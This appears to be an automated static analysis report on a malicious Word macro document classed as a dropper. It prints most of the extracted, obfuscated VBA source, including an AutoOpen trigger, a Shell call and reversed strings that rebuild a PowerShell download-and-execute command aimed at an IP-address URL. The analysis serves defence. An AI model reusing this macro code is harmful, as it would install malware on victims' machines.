Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d6c496c98528a474…

MALICIOUS

Office (OLE)

178.5 KB Created: 2018-04-26 14:38:00 Authoring application: Microsoft Office Word First seen: 2018-05-18
MD5: 5340e8f029e6396e8e63de183f280ca3 SHA-1: b8c819beda86baf98ea0f649618b997b13b9b970 SHA-256: d6c496c98528a4743ceab9e64a517700a02d6e4325177959b09b042586442223
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. Heuristics indicate potential shell calls and a legacy WordBasic auto-exec marker, suggesting the macros are designed to execute arbitrary code. The ClamAV detection name 'Doc.Dropper.Agent-6519269-0' further supports its role as a dropper. The VBA code itself is heavily obfuscated, making it difficult to determine the exact payload or download mechanism, but the presence of shell calls strongly implies it attempts to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6519269-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6519269-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    End Select
Shell JivUuzrorF + Chr(vbKeyC) + QjNFlmt + BQFMTrziaMH + cfOmWzXHuhblri, ARPLio + 0 + ARPLio
Select Case EIrCZY
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub Autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 56771 bytes
SHA-256: 88e3a6b4788388770d82ec8c4abfb0063deea62aef1d66e8f53d67a8475ae790
Detection
ClamAV: No threats found
Obfuscation or payload: likely
749 of 1214 identifiers look randomly generated (e.g. 'BzJMTVYpaiVmwMCwbpDos'); 108 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wztKIrFLqYnuX"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub zKEBPT(QzMkS)
Select Case DMrSzL
         Case 4393
            kGRYXk = Hex(oIzhoP - ChrW(uGoIUk))
            dCXqB = CByte(11775)
            MYDATA = Endri
         Case 25036
            pOCiPL = kiqqR
            HDuiVi = Round(94502)
            juhVOc = Log(TKQlXf)
End Select
End Sub
Sub nUMmuh(uMKBOH)
Select Case svVEP
         Case 173
            UVIAi = Hex(QTZFuG - ChrW(QZWjk))
            ApiXT = CByte(732)
            paPuh = fiTzD
         Case 72771
            GKamF = HpkTZ
            TAzQlw = Round(78772)
            NlpEi = Log(mbkwa)
End Select
Select Case zYJpO
         Case 90754
            MsjFH = Hex(INHfSh - ChrW(OlwUU))
            HhUjF = CByte(76601)
            GovrJB = jcHhji
         Case 26594
            KfvRO = EMZoV
            nkrMbR = Round(27298)
            TRQVQq = Log(liRom)
End Select
Select Case lXpkn
         Case 48238
            CcVCo = Hex(DvkuG - ChrW(UiCsP))
            BXESh = CByte(17108)
            ijBNC = nsuhrw
         Case 26637
            HnYBjK = SiifaK
            BPjuMC = Round(11068)
            BiiSSV = Log(wLwBsu)
End Select
End Sub
Sub jRwwaQ(ThcSB)
Select Case fzwjLb
         Case 62917
            qSQsEs = Hex(XjYRrQ - ChrW(SwOcpV))
            AGAQiu = CByte(98305)
            MpQNw = whFVYW
         Case 92169
            DAKawi = UjmKDp
            Qcazj = Round(15425)
            jAiSs = Log(OJGQz)
End Select
Select Case CDAGDw
         Case 39537
            sFiCv = Hex(lRdvb - ChrW(nbTzjI))
            JlLdV = CByte(21990)
            nJQVW = OsidWb
         Case 43646
            izfKpM = ajAavv
            djcIr = Round(59655)
            cBHZc = Log(vzqdE)
End Select
End Sub
Sub Autoopen()
On Error Resume Next
Select Case KbnfSf
         Case 98601
            MZPva = Hex(DOzBN - ChrW(riGwYl))
            nDctX = CByte(41877)
            kjqBK = rNADlL
         Case 97186
            VjzpPU = jUrHjT
            OkfsZ = Round(32099)
            UYwql = Log(idDLMn)
End Select
owIfCVAAIqO (SXcEIB + tlKokcBoMJpG + EOwud)
Select Case fzQXs
         Case 72868
            JAHDwi = Hex(PCRjut - ChrW(tqHbkY))
            MFaCN = CByte(52652)
            fMfSa = dRQZG
         Case 58145
            ABwSzk = mIJvIN
            wvjBlC = Round(28950)
            plNUoD = Log(ahVFwz)
End Select
End Sub
Sub IIDcw(WDkKMY)
Select Case WjYVbL
         Case 31466
            LEfwZ = Hex(ibaCP - ChrW(lmYwIE))
            NmBDHP = CByte(42950)
            rJAim = wzDYjY
         Case 30728
            bJHzqv = KZMXWC
            JAXjD = Round(8523)
            SaYczm = Log(UabfYY)
End Select
Select Case rvKZa
         Case 42386
            jnHQjZ = Hex(DAAVLz - ChrW(jjUtI))
            qzlrzd = CByte(25475)
            ENHci = imQMQ
         Case 24384
            RZbKN = CIMpfR
            qkCPTC = Round(24300)
            wmtsd = Log(awSIcw)
End Select
Select Case YZJjkC
         Case 19916
            sXbKH = Hex(wkAsO - ChrW(fTnhS))
            ncLthD = CByte(41495)
            RKsjjz = MFPSh
         Case 42498
            cMRPO = OFmcOz
            izzqX = Round(79235)
            BnrRJ = Log(zSNXP)
End Select
End Sub
Sub OUzzbS(ZTMXQV)
Select Case kUOGYu
         Case 85435
            RpUAFA = Hex(vsOMdl - ChrW(iwXXiP))
            pPbwa = CByte(56627)
            EGwUsR = KfbMo
         Case 51660
            UJDsz = lQjBMc
            cZsEfW = Round(40295)
            lPskUs = Log(SwLtp)
End Select
End Sub

Attribute VB_Name = "VGXDcnroXzIP"
Sub almWhR(fitLH)
Select Case wOzmpS
         Case 76072
            GTUAC = Hex(dDORkU - ChrW(SmfZib))
            DnNMwz = CByte(83026)
            rkIpcT = RSWij
         Case 54832
            Tbamji = RNLrEE
            GHDCr = Round(455)
            iJusa = Log(UNCzsG)
End Select
End Sub
Function tlKokcBoMJpG()
On Error Resume Next
Select Case EvIXl
         Case 31169
            JuzQF = Hex(AYpDAk - ChrW(qjrtVi))
            riwLE = CByte(77092)
            iUdsJ = WBqDj
         Case 89743
            bmmuuV = fVDPCD
            fizoLR = Round(55944)
            ELKrY = Log(ptoKa)
End Select
uEHrYuh = OmZDHr("8oFOOJp'+'tth Dt4 = X'+'CDA7Lv;)331'+'2'+'82 ,0'+'0001('+'txen.dsa'+'da'+'sn7'+'Lv '+'= BS'+'N7Lv'+';tneilCbeW'+'.'+'t'+'e'+'N'+'.me'+'tsyS )Dt4t'+'c'+'e'+'jbo-Dt4+DpC", LLwdf - LLwdf + 3 + LLwdf - LLwdf, LLwdf - LLwdf + 159 + LLwdf - LLwdf)
Select Case rFrBRi
         Case 6587
            MQOqFO = Hex(WsPXdI - ChrW(ibjCw))
            qcOFb = CByte(13354)
            anwWd = rFnzU
         Case 72135
            fSAZm = niXQSO
            oukCIO = Round(97812)
            Qjwsu = Log(RDudP)
End Select
Select Case prCzSz
         Case 86436
            QkikD = Hex(nitnc - ChrW(aLWuUk))
            oXSTQl = CByte(23613)
            FuuHmi = bjrcUi
         Case 65878
            XNvvW = VHciGE
            zRRzrd = Round(64889)
            zjpIik = Log(DsQIGz)
End Select
jcBjcoV = OmZDHr("CVuLv'+'(hcaerof;)D'+'t4eDt4+D4Eirot", ljXbp - ljXbp + 7 + ljXbp - ljXbp, ljXbp - ljXbp + 27 + ljXbp - ljXbp)
Select Case FVqqHk
         Case 75893
            Zjdwd = Hex(ZddEA - ChrW(YhFmnt))
            DkRzwv = CByte(4646)
            vIBWz = hHJim
         Case 12029
            iPnDF = XYPDC
            BjhHi = Round(59768)
            bGdUb = Log(DjqawH)
End Select
Select Case XzolRo
         Case 73551
            IOvUzi = Hex(GfsAMD - ChrW(huwZG))
            skdvl = CByte(15363)
            NUMQT = zOYSw
         Case 71292
            RaDCv = nURum
            hQuYlz = Round(67676)
            MYlTcj = Log(DoIbCo)
End Select
ZCjUE = OmZDHr("4Jp'+'hp.xed'+'ni/e'+'tag/64'+'2'+'.57'+'.831.881//:49mD", nNZUi - nNZUi + 5 + nNZUi - nNZUi, nNZUi - nNZUi + 50 + nNZUi - nNZUi)
Select Case DShaAj
         Case 40133
            vZZYlC = Hex(qnSMv - ChrW(tokaO))
            jjJSj = CByte(6288)
            NcrKzz = PdLtE
         Case 90613
            zzVIpt = KiwAma
            RlHpUv = Round(80073)
            zcTNam = Log(cqWTT)
End Select
Select Case OUdTqz
         Case 76390
            wAbdTw = Hex(hQlMXK - ChrW(iPdOO))
            SsWmf = CByte(29458)
            pTVqud = TtjfEI
         Case 71218
            coVPR = pNpclh
            EipwE = Round(25847)
            OvvStS = Log(ljwJF)
End Select
Tilwpo = OmZDHr("7pTkzt'+'4wDt4+Dt4enDt4(. = UYY7Lv;modnzEwU", joKuJA - joKuJA + 5 + joKuJA - joKuJA, joKuJA - joKuJA + 34 + joKuJA - joKuJA)
Select Case GPiQP
         Case 95934
            zFfNJv = Hex(PPrhA - ChrW(zwhtDV))
            mEiqSf = CByte(25242)
            pvYiG = nJPhI
         Case 96123
            pVsRJK = IioMt
            Fvaoud = Round(66747)
            aTSwt = Log(KpSLu)
End Select
Select Case AWWzw
         Case 79203
            IiauL = Hex(DCNtZ - ChrW(cHsZOF))
            iMrdCl = CByte(25705)
            YtlFms = wOJjdU
         Case 49994
            EOiBRD = wHuUG
            RAYIw = Round(80754)
            Icommi = Log(dQfbH)
End Select
dudjAiswQ = OmZDHr("fwSq'(ECaLper.)'\','XTj'(ECaLper.)43]rahc[]gNirTs[,'rJQ'(ECaLper.)'}'+'}{'+'hctac'+'};kaerb;)C'+'DS7Lv'+'()Dt4met'+'I-'+'eDt4'+'+Dt4kDt4+'+'D'+'t4ovnIDt'+'4'+'(&;'+')C'+'DS7'+'L'+'v ,)KwjBL", AzjmZ - AzjmZ + 6 + AzjmZ - AzjmZ, AzjmZ - AzjmZ + 180 + AzjmZ - AzjmZ)
Select Case UmPTk
         Case 92656
            QwdKSl = Hex(hNlbfi - ChrW(jcawPi))
            ijcSNz = CByte(71181)
            lEYCLP = wdUAv
         Case 54268
            iEwdO = JoXUNk
            QBsEoC = Round(4662)
            jCcSfY = Log(wbPmRP)
End Select
Select Case ijwhk
         Case 4659
            buKGSu = Hex(PsaOA - ChrW(itwNvQ))
            DzTEUY = CByte(11440)
            DrXBv = hNVNzA
         Case 7691
            zhkBEl = mklTHd
            bGmuol = Round(23588)
            DNEuB = Log(aAzPqd)
End Select
cilVm = OmZDHr("OmB'+'ar )Dt4t'+'Dt4'+'+D'+'t4cejbo-wDt'+'4'+'+Dt4e'+'Dt4+D'+'t4nDt4(& = dsadasn'+'7'+'Lv'(()'x'+]31[DILleHs$+]1[DiLLeHs$ (& ,2FG6", YWkjz - YWkjz + 6 + YWkjz - YWkjz, YWkjz - YWkjz + 122 + YWkjz - YWkjz)
Select Case mUSTUd
         Case 32002
            lhoDF = Hex(PaDLSO - ChrW(dXwJjJ))
            koDQz = CByte(54416)
            mUaUIv = RjQqvu
         Case 21705
            tEYPA = zVJkU
            VzdYD = Round(55990)
            dGdrKS = Log(MqjSn)
End Select
Select Case SERAL
         Case 53446
            kUXrBj = Hex(dFwnV - ChrW(oRYPcM))
            hZjbh = CByte(75286)
            LhRJO = tCtvj
         Case 19860
            tFoMPi = hBfCY
            XHLovJ = Round(28290)
            LwopZ = Log(wlXdi)
End Select
zzhkJcJICbB = OmZDHr("kF@wt'+'4'+'xe.Dt'+'4( +'+' '+'BS'+'N7Lv +'+' Dt4XTjDt4 + cilbup:vne7'+'Lv ='+' CDS7'+'Lv;'+')Dt'+'4@Dt4('+'t'+'ilpS.Dt'+'40Us", AKvzs - AKvzs + 4 + AKvzs - AKvzs, AKvzs - AKvzs + 119 + AKvzs - AKvzs)
Select Case aKclT
         Case 24188
            lkKBPl = Hex(mlqFA - ChrW(vXiJz))
            pXFvd = CByte(3908)
            GYNia = iLdiA
         Case 88588
            EJYKv = cLWCb
            lwWbf = Round(78499)
            zvirZH = Log(kSMSs)
End Select
Select Case CUEXk
         Case 16015
            hOldiq = Hex(sMjPK - ChrW(lzTkWE))
            PCHOP = CByte(73469)
            TIJkuC = bOIrb
         Case 47126
            FHIOnQ = DBTAf
            QfGWN = Round(85518)
            zjCvV = Log(kKkKt)
End Select
bDRAJcozVJJ = OmZDHr("awd1wda'+'OA'+'n'+'3l'+'nWAn3oDrJQ.UY'+'Y7Lv{'+'yrt'+'{)XCDA7Lv '+'n'+'i cfs'+'a'+'7T,", PaSjwv - PaSjwv + 3 + PaSjwv - PaSjwv, PaSjwv - PaSjwv + 79 + PaSjwv - PaSjwv)
Select Case jRJuzA
         Case 55400
            OQGqk = Hex(vuvHl - ChrW(iSjVEM))
            fjMSqa = CByte(10439)
            pGkHWk = rjdLL
         Case 10896
            pOcZO = Ninpm
            zoCwP = Round(30182)
            QFnKAP = Log(LbzssB)
End Select
Select Case XzUQA
         Case 32853
            RGLvq = Hex(sfazR - ChrW(GwqCmP))
            YnDJE = CByte(30313)
            cVADHw = YsfYj
         Case 48068
            CfijXA = SjwiA
            siNzGj = Round(81928)
            XiWpTd = Log(DLiFqX)
End Select
TXCTCF = OmZDHr("k0(rJQgNAn3iAn3rtSoTr'+'JQ'+'.'+'cf'+'sa7Lv'+'(rJQelAn'+'3IFwpJND", TrzpRM - TrzpRM + 6 + TrzpRM - TrzpRM, TrzpRM - TrzpRM + 58 + TrzpRM - TrzpRM)
Select Case IVZhO
         Case 95323
            oDVGB = Hex(qfiRAi - ChrW(fALtDX))
            OVScJ = CByte(46523)
            arXYR = YiaBjR
         Case 6691
            XdMFIb = HKfird
            TlswdE = Round(31681)
            KsjpYw = Log(KKmTd)
End Select
Select Case zztDzz
         Case 4223
            SNmoMa = Hex(vIJYub - ChrW(jrvZj))
            QpomY = CByte(77511)
            ZJzSal = VdUlP
         Case 1870
            aEkjR = mQBIX
            dddYA = Round(30213)
            sWlKq = Log(JLqDXK)
End Select
zKIGbXQS = OmZDHr("17))69]rahc[]gNirTs[,'An3'(ECaLper.)'$',)55]rahc[+67]rahc[+811]rahc[((ECaLper.)93]rahc[]gNirTs[,'Dt4rV0L4S", sFXBzi - sFXBzi + 7 + sFXBzi - sFXBzi, sFXBzi - sFXBzi + 98 + sFXBzi - sFXBzi)
Select Case fTpkE
         Case 5756
            SuIHp = Hex(JHlrFT - ChrW(rIiot))
            lIJwNi = CByte(97184)
            kJotU = IFzNiV
         Case 90545
            BawzDo = XlAqL
            wJwvc = Round(82014)
            YwzwlW = Log(lKVKY)
End Select
BbRSGmjmnw = zHjzPbJuNYoCJf + """" + wzRBiMPC
tlKokcBoMJpG = jEAZfJdI + zMhcjMPpRMU + XtZfjfzOEuDpf + BbRSGmjmnw + ZBfBjnLaJwbqC + cilVm + Tilwpo + uEHrYuh + ZCjUE + zzhkJcJICbB + jcBjcoV + bDRAJcozVJJ + TXCTCF + dudjAiswQ + zKIGbXQS
Select Case LDIuli
         Case 9709
            zCuhO = Hex(IwkwL - ChrW(Wzlzz))
            EcTDk = CByte(81787)
            rBMjX = mlTDdH
         Case 98151
            KRKMf = jSNRIw
            dcnuR = Round(6846)
            XwwRM = Log(ZhDuI)
End Select
End Function
Sub TllKQM(ZWwwX)
Select Case zLKSb
         Case 83365
            QpRftI = Hex(HDKLwz - ChrW(AUWtmi))
            mHMwUM = CByte(99546)
            DkXBi = iTFQH
         Case 65603
            WMkzZk = roYpMd
            hFjYwf = Round(97713)
            aozTT = Log(AQdfw)
End Select
End Sub

Attribute VB_Name = "jzOWrLC"
Sub WlwBGQiqXvJPYO()
On Error Resume Next
Select Case dldUih
         Case 70540
            FISnY = Hex(tlUtKt - ChrW(fvoLW))
            rPYYcS = CByte(22068)
            lNqYNl = qsncG
         Case 9832
            JpWNUb = qpIIHt
            hkpVM = Round(561)
            XdVwH = Log(oCAjQV)
End Select
End Sub
Sub owIfCVAAIqO(QjNFlmt As String)
On Error Resume Next
Select Case FiCPz
         Case 68733
            vYhPGs = Hex(JIwGt - ChrW(WmMAQ))
            nJnoZ = CByte(86017)
            juwiaX = MNzvGq
         Case 29843
            fuCcW = rTWBw
            wiHkHW = Round(38548)
            bKaXi = Log(rImQu)
End Select
Select Case wVdtlz
         Case 42749
            obcjc = Hex(jiFPoj - ChrW(DrVTi))
            FYijGG = CByte(46308)
            bAOwKA = Xzitvw
         Case 69320
            DXcLD = dIZHEQ
            GuVaEw = Round(10558)
            rQdiYf = Log(mZjwVP)
End Select
Shell JivUuzrorF + Chr(vbKeyC) + QjNFlmt + BQFMTrziaMH + cfOmWzXHuhblri, ARPLio + 0 + ARPLio
Select Case EIrCZY
         Case 97943
            OmaGr = Hex(rpSCfS - ChrW(jLUpTz))
            TpUUoI = CByte(87792)
            iJhad = zAvtj
         Case 16448
            sIjLL = XwWNFa
            DZRFR = Round(68116)
            UGIUF = Log(hjKYvn)
End Select
End Sub
Function XtZfjfzOEuDpf()
On Error Resume Next
Select Case ssJCzl
         Case 99887
            EpOjD = Hex(DZirlR - ChrW(FoWqD))
            KJOHMu = CByte(95806)
            nvOof = TAzXM
         Case 23223
            jLdtNf = mDnLt
            pHqhB = Round(71535)
            OQiQD = Log(wBFpw)
End Select
rIkaJBfFK = OmZDHr("Dwes&fWlDNK", BWBCS - BWBCS + 7 + BWBCS - BWBCS, BWBCS - BWBCS + 3 + BWBCS - BWBCS)
Select Case rsdwkO
         Case 98993
            skjHC = Hex(idMJRV - ChrW(GdQjNq))
            jDhOo = CByte(63693)
            ILIGT = VNihW
         Case 27391
            bVpvX = DlPNSW
            rioCU = Round(36148)
            sVRDD = Log(TEswiJ)
End Select
Select Case AndjYZ
         Case 44550
            hZtICR = Hex(kOwXL - ChrW(NFwBf))
            wKBUM = CByte(76550)
            FdzYD = uCzwj
         Case 20176
            ujOBzn = snhfh
            RaojEh = Round(39283)
            MvmqvD = Log(BQIOr)
End Select
rMXOtvavq = OmZDHr("O2mtovulkOkWcnB% ,wZ,", hjLNlr - hjLNlr + 5 + hjLNlr - hjLNlr, hjLNlr - hjLNlr + 13 + hjLNlr - hjLNlr)
Select Case MQwzVZ
         Case 31586
            RwSrJ = Hex(UORrC - ChrW(mikbLE))
            GqXYQq = CByte(88845)
            JrjjI = cuzUw
         Case 72305
            wnwRL = MijVo
            pJatX = Round(3442)
            PzKWk = Log(umKnl)
End Select
Select Case RVTqX
         Case 85967
            lZNBd = Hex(lKRJkB - ChrW(zrbVQw))
            GzSaIz = CByte(37325)
            pfwDn = wiCShU
         Case 84671
            uLDmr = atzaa
            woGnt = Round(61151)
            RVmNj = Log(LAIYD)
End Select
zJjmD = OmZDHr("dfnD%!=%fJPIRMrAzWvm% Dd", MSiKC - MSiKC + 3 + MSiKC - MSiKC, MSiKC - MSiKC + 18 + MSiKC - MSiKC)
Select Case cnlCHW
         Case 42440
            MuvhW = Hex(ZfIcPY - ChrW(MazIw))
            YfGRU = CByte(89376)
            zaMlzQ = ZvWaE
         Case 81370
            ojsfJ = jPMluI
            zaFcan = Round(59943)
            zSWdwB = Log(RDZDIU)
End Select
Select Case AbWzmE
         Case 6926
            TpzINj = Hex(Ofciw - ChrW(RDdGor))
            XpOAS = CByte(46512)
            fMFcwm = rjwvX
         Case 21301
            KZtNTj = XttwMz
            dawpp = Round(92744)
            CZAhKt = Log(TiKQj)
End Select
AmkrjjW = OmZDHr("sIVU6XtifXtB=%DBZMzOjR78", zOlLQL - zOlLQL + 3 + zOlLQL - zOlLQL, zOlLQL - zOlLQL + 17 + zOlLQL - zOlLQL)
Select Case NQVnwr
         Case 7639
            TMijo = Hex(NJzFiO - ChrW(HztfJn))
            EOihf = CByte(43265)
            NFLqzs = jMWwW
         Case 1266
            JfFiR = FRcIpD
            DEiwDR = Round(90535)
            EoOkW = Log(YmWjm)
End Select
Select Case HpUjLU
         Case 54435
            wWmtm = Hex(JPNYp - ChrW(WVjDfd))
            mJrwj = CByte(41972)
            Pmdtos = SdisIV
         Case 49839
            NvwNFD = IQEiIp
            GaCXu = Round(76635)
            lUjwB = Log(swLWH)
End Select
CvAWtpsVp = OmZDHr("Tj tes&&qIXLi", zujcwO - zujcwO + 6 + zujcwO - zujcwO, zujcwO - zujcwO + 6 + zujcwO - zujcwO)
Select Case rvwzVQ
         Case 77782
            dNoFjs = Hex(WIqla - ChrW(XbbPQE))
            tKFhbX = CByte(96352)
            KcjHG = uYfdN
         Case 16406
            VpUljz = UUiFM
            kTHGiL = Round(89341)
            MjJdU = Log(dCwlDv)
End Select
Select Case dYHUm
         Case 59350
            KzjVw = Hex(zWBmam - ChrW(pIFYq))
            tKYojj = CByte(51420)
            vQbjCt = mavJN
         Case 72587
            rNbXsh = VTiiKl
            lLzmYC = Round(3820)
            aFYsp = Log(hKOcq)
End Select
XqJLJHDkqJQ = OmZDHr("vUwJhUBarf% tes&&w^o=%tMu0VI", XUkwu - XUkwu + 7 + XUkwu - XUkwu, XUkwu - XUkwu + 19 + XUkwu - XUkwu)
Select Case TKMLqt
         Case 10377
            wsCrIZ = Hex(OvXpj - ChrW(lnWzzr))
            nJTBUo = CByte(45368)
            wovfzb = iCjkQ
         Case 5222
            OrnGE = XqLrBb
            nYBXTB = Round(48830)
            GbKmS = Log(FTTObb)
End Select
Select Case EjiNC
         Case 2635
            jBQmc = Hex(XvwduJ - ChrW(jEJRJp))
            JUpnq = CByte(66713)
            hAzpT = WfNiu
         Case 50037
            XiwTK = XqzZME
            iwPLd = Round(92334)
            Upuwna = Log(GBraXj)
End Select
YXVVE = OmZDHr("pHtmdowoD", ucONj - ucONj + 6 + ucONj - ucONj, ucONj - ucONj + 2 + ucONj - ucONj)
Select Case zbYWd
         Case 85101
            Yhbkk = Hex(pZPBF - ChrW(fEhnzf))
            HQoIwp = CByte(41946)
            iVrpzD = vITOCT
         Case 2173
            lpVYDN = oaquk
            kYcuOM = Round(21288)
            YLGuz = Log(YTicP)
End Select
Select Case MCwGF
         Case 83150
            YWNFsQ = Hex(qkBhLj - ChrW(cmjTJl))
            zjZCl = CByte(46330)
            kPWLV = MDaVlN
         Case 13140
            HaJsUo = PMnwFD
            poCGsi = Round(10582)
            fVpnQ = Log(LOivi)
End Select
iRkUshbR = OmZDHr("WkiavPMvB9OM", jCSdR - jCSdR + 5 + jCSdR - jCSdR, jCSdR - jCSdR + 6 + jCSdR - jCSdR)
Select Case qGQJQ
         Case 69188
            VCjPP = Hex(kOmSiU - ChrW(umvnD))
            XLDwEA = CByte(52047)
            kiXtqI = kRvFa
         Case 88937
            KZwDaG = ELcGiM
            REiOo = Round(28380)
            fOYoM = Log(KUzhd)
End Select
Select Case kjwzcc
         Case 57321
            lnHkT = Hex(rcwkY - ChrW(UdTnvM))
            unarCz = CByte(57965)
            CNXCUh = XZVSMp
         Case 92873
            UfmbVH = LDQhj
            LvEno = Round(54700)
            PZiDOa = Log(tSdAG)
End Select
niMCWLnT = OmZDHr("NmulkO4hNa5", sAiCBa - sAiCBa + 6 + sAiCBa - sAiCBa, sAiCBa - sAiCBa + 4 + sAiCBa - sAiCBa)
Select Case MFLQWI
         Case 73658
            BUlnwc = Hex(dQfXM - ChrW(LvziM))
            CWsaQa = CByte(72684)
            FknQj = DNFwQQ
         Case 95281
            PBzctr = KNiJN
            PJtVMM = Round(46193)
            tdOrW = Log(wqBRw)
End Select
Select Case wAcMGa
         Case 18447
            nDUsCY = Hex(XfULVj - ChrW(jNXjh))
            jfnFT = CByte(92951)
            SRpDjp = WlZJdI
         Case 73575
            PEbjr = ROoXsB
            HPOZG = Round(73539)
            FpRifw = Log(zoOFZV)
End Select
kEbVY = OmZDHr("CURnJN tes&&EZNHbJOsPG", JGrcnh - JGrcnh + 4 + JGrcnh - JGrcnh, JGrcnh - JGrcnh + 13 + JGrcnh - JGrcnh)
Select Case QiijE
         Case 2209
            CAjoo = Hex(OVKjXV - ChrW(SZnwE))
            tTaaRS = CByte(60481)
            rjkpBl = DokqqP
         Case 55457
            iiiDRs = vifIIj
            aPWJlX = Round(78801)
            uVkXPl = Log(FNfQs)
End Select
Select Case oiLrm
         Case 52218
            ioSJMZ = Hex(bKztM - ChrW(LunrY))
            HcWMLm = CByte(69582)
            lNhhEo = dGQfA
         Case 25173
            HZfGWo = uuUTu
            EMbHX = Round(54226)
            ZOcSpY = Log(inWLY)
End Select
mJLcsw = OmZDHr("05UFYjlM", viOOCA - viOOCA + 2 + viOOCA - viOOCA, viOOCA - viOOCA + 2 + viOOCA - viOOCA)
Select Case XVzjFP
         Case 91831
            qSNNKV = Hex(QfJIYm - ChrW(swMRw))
            bGXIv = CByte(27629)
            jPuBHj = ivPFfD
         Case 37168
            IMDzs = cATnR
            OkuES = Round(91741)
            PAkHA = Log(CczjHm)
End Select
Select Case WJGiwq
         Case 98613
            YPLdz = Hex(vrhqvh - ChrW(CQRfKG))
            iEKMvJ = CByte(30821)
            ssvXM = KABnO
         Case 57802
            wMpTd = UtoCo
            FZTFzi = Round(76517)
            ZwovX = Log(XrQQs)
End Select
sYunZiCm = OmZDHr("FK&&!%OGGBXl", CIwLFv - CIwLFv + 5 + CIwLFv - CIwLFv, CIwLFv - CIwLFv + 6 + CIwLFv - CIwLFv)
Select Case cfirUs
         Case 34913
            vcEqH = Hex(GrqvCE - ChrW(JozYuv))
            fccYJ = CByte(84955)
            arckG = hZzuw
         Case 76384
            OjBVOo = TqkTa
            KaSzfj = Round(29314)
            jAOKvo = Log(kqDaGM)
End Select
Select Case tklbE
         Case 13492
            vdoAn = Hex(WoJNs - ChrW(PlvBC))
            ZjFlME = CByte(99314)
            bffFzl = KLPSi
         Case 43216
            OtBSZo = Xzjibi
            wJRkB = Round(76864)
            qIEQGi = Log(ZjjYc)
End Select
wcathJEK = OmZDHr("YiBzkWcnBCf", zbHKVW - zbHKVW + 3 + zbHKVW - zbHKVW, zbHKVW - zbHKVW + 5 + zbHKVW - zbHKVW)
Select Case ULjtfL
         Case 18898
            hwWVG = Hex(MCzhd - ChrW(pXkzBS))
            lzRzK = CByte(98284)
            DmaXFp = fJMhuA
         Case 56213
            XiBuuJ = alsMBY
            QwLWb = Round(96306)
            bacnE = Log(OYQHS)
End Select
Select Case MubCB
         Case 38319
            BGYlC = Hex(SDTAmj - ChrW(rKqTc))
            NUWOj = CByte(4850)
            GMPss = zWsEsp
         Case 7186
            VCoLCa = YBDHZ
            Gjiroj = Round(60369)
            FnbIqh = Log(zFziY)
End Select
iioiZ = OmZDHr("SC91Is&&Vz", taiwQE - taiwQE + 3 + taiwQE - taiwQE, taiwQE - taiwQE + 3 + taiwQE - taiwQE)
Select Case rRhChb
         Case 6491
            LMkSTs = Hex(NNEFYH - ChrW(PNCMt))
            YvGdA = CByte(77596)
            RwoHH = uubrqX
         Case 78184
            lstYA = cCUAUi
            JPGGRi = Round(57463)
            RYwww = Log(UnWMp)
End Select
Select Case zpSvMw
         Case 67038
            RDiiUU = Hex(MFKiCi - ChrW(OXrBhb))
            amzbjw = CByte(98832)
            ESDYL = KnzPmn
         Case 12408
            VClVIb = EKRHIr
            jCoXi = Round(147)
            rfiSv = Log(jtmun)
End Select
BiLJvcfT = OmZDHr("BuGOsurcdXtN%!!WV16T0", FnCMF - FnCMF + 7 + FnCMF - FnCMF, FnCMF - FnCMF + 12 + FnCMF - FnCMF)
Select Case sQvqK
         Case 77265
            SzImQ = Hex(EtGua - ChrW(FGjiX))
            DNYKL = CByte(44452)
            TowAl = ijKiA
         Case 67674
            NPqJcw = jiNMm
            iHazH = Round(77698)
            PzOGtV = Log(wfvYfv)
End Select
Select Case QizKq
         Case 58428
            sNusK = Hex(Qlwijk - ChrW(DPKnQ))
            QJvhZ = CByte(94569)
            aWQamE = usrba
         Case 56972
            opDGq = oJBYL
            UNtwfU = Round(91795)
            FuUXsc = Log(UKXjN)
End Select
ocwoNEUDwwC = OmZDHr("QAsi6PMvWbi% tes%", tnXOiM - tnXOiM + 2 + tnXOiM - tnXOiM, tnXOiM - tnXOiM + 11 + tnXOiM - tnXOiM)
Select Case zcUrbj
         Case 56952
            RVsOsk = Hex(AvLHfu - ChrW(tUjOO))
            TwdpwG = CByte(39673)
            YFElSw = ZcIAsb
         Case 37852
            Mbhth = ALNUjT
            rCQlP = Round(24222)
            qHVNzd = Log(rXOWT)
End Select
Select Case awbsJA
         Case 8083
            LWPiD = Hex(uWprX - ChrW(LLVjjl))
            tzUkW = CByte(12070)
            slMWw = OHzPqC
         Case 81159
            FiwkRP = ObuLYs
            Mqmtb = Round(96760)
            JJSuj = Log(DOFpi)
End Select
aJBIzjfVdmC = OmZDHr("aZ0C35u%a", jQNQNm - jQNQNm + 2 + jQNQNm - jQNQNm, jQNQNm - jQNQNm + 1 + jQNQNm - jQNQNm)
Select Case UnRWAE
